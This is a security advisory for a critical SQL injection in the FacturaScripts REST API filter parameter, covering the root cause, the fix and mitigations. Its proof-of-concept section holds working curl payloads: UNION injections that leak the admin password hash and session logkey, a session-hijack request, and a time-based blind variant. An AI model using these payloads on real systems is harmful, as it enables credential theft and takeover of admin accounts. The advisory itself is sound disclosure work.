critical · 9.9CVE-2026-45262Jul 14, 2026

CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A scoped read-only API token for any single resource in FacturaScripts can inject arbitrary SQL through the filter parameter, leaking password hashes and session cookies from every table in the databa

Packagefacturascripts/facturascripts
Ecosystemcomposer
Affected<= 2026.1

The problem

FacturaScripts versions up to and including 2026.1 pass raw HTTP filter keys from the REST API directly into the SQL WHERE clause without validating them as column identifiers.

The sink is `Core/Where.php::sqlColumn()`, which skips identifier escaping for any string that contains both `(` and `)`. An attacker with a low-privilege API key scoped to a single resource (for example, `clientes` with `allowget=1`) can embed a full UNION SELECT inside the filter key and the framework concatenates it verbatim into the query.

The same flaw exists identically in both `APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`, so both the generic `/api/3/<resource>` route and the `/api/3/attachedfiles` route are affected.

Successful exploitation leaks any column from any table (including `users.password`, `users.logkey`, `api_keys.apikey`). The leaked `logkey` value can be written directly into a cookie to hijack the admin web session, reaching plugin installation, user management, and cron execution with no further steps.

Proof of concept

A working proof-of-concept for CVE-2026-45262 in facturascripts/facturascripts, with the exact payload below.

bash
# Step 1: leak admin bcrypt hash via UNION injection on the clientes endpoint
curl -s "http://TARGET/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=" \
  -H "Token: low-scoped-token-clientes-only"
# Response: {"cifnif": "$2y$12$sLfA/...<bcrypt hash>"}

# Step 2: leak admin logkey (session cookie value)
curl -s "http://TARGET/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=" \
  -H "Token: low-scoped-token-clientes-only"
# Response: {"cifnif": "<logkey value>"}

# Step 3: hijack the admin web session with the leaked logkey
curl -s \
  --cookie "fsNick=admin; fsLogkey=<LEAKED_LOGKEY>" \
  "http://TARGET/AdminPlugins"
# Returns HTTP 200 with admin plugin manager UI

# Time-based blind variant (works regardless of column count)
curl -s "http://TARGET/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" \
  -H "Token: low-scoped-token-clientes-only"
# Observe ~2 second delay; no FacturaScripts log entry is produced

The root cause is a string-presence check in `Core/Where.php::sqlColumn()` (lines 407-425). Any field name that contains both `(` and `)` is returned untouched and concatenated directly into the SQL WHERE clause. The original intent was to allow expression columns like `LOWER(col)`, but the check has no structural constraint, so any arbitrary SQL expression passes through.

The API ingress (`APIModel::getWhereValues`, lines 231-298) reads each key from `$_GET['filter']` and passes it straight to `new DataBaseWhere($key, ...)` without any allow-list check on the field name. The deprecated `DataBaseWhere` layer then delegates to `Where::multiSqlLegacy`, which calls `Where::sql()`, which calls `sqlColumn()`, completing the injection path.

Because the UNION result is serialised by the *clientes* model rather than the *users* model, the `getApiFieldsToHide()` deny-list on `User` (which hides `password` and `logkey`) never runs, so those columns appear unredacted in the JSON response under whatever alias the first UNION position maps to (for example, `cifnif`).

The fix (2026.2) validates every filter and sort field against the model's actual column list at the API ingress, and replaces the parenthesis presence test in `sqlColumn()` with a strict structural allow-list that only permits bare identifiers and known safe expressions (matching the pattern already used in `DbQuery::orderBy` since commit `1b6cdfa`).

CWE-89 (SQL Injection).

The fix

Upgrade to FacturaScripts 2026.2 or later. That release validates API filter and sort field names against the model's declared columns, rejecting any key that is not a bare identifier. It also replaces the `(` / `)` presence check in `Where::sqlColumn()` with a strict structural parser.

Operators who cannot upgrade immediately should disable the REST API (`Default -> Enable API` in the admin UI) or restrict the `/api/` path to trusted IP ranges at the reverse-proxy layer. After patching, rotate all `users.password` and `users.logkey` values for any installation that had the API enabled, since successful UNION queries leave no FacturaScripts log entries.

Reporter not attributed.

References: [1][2]

Related research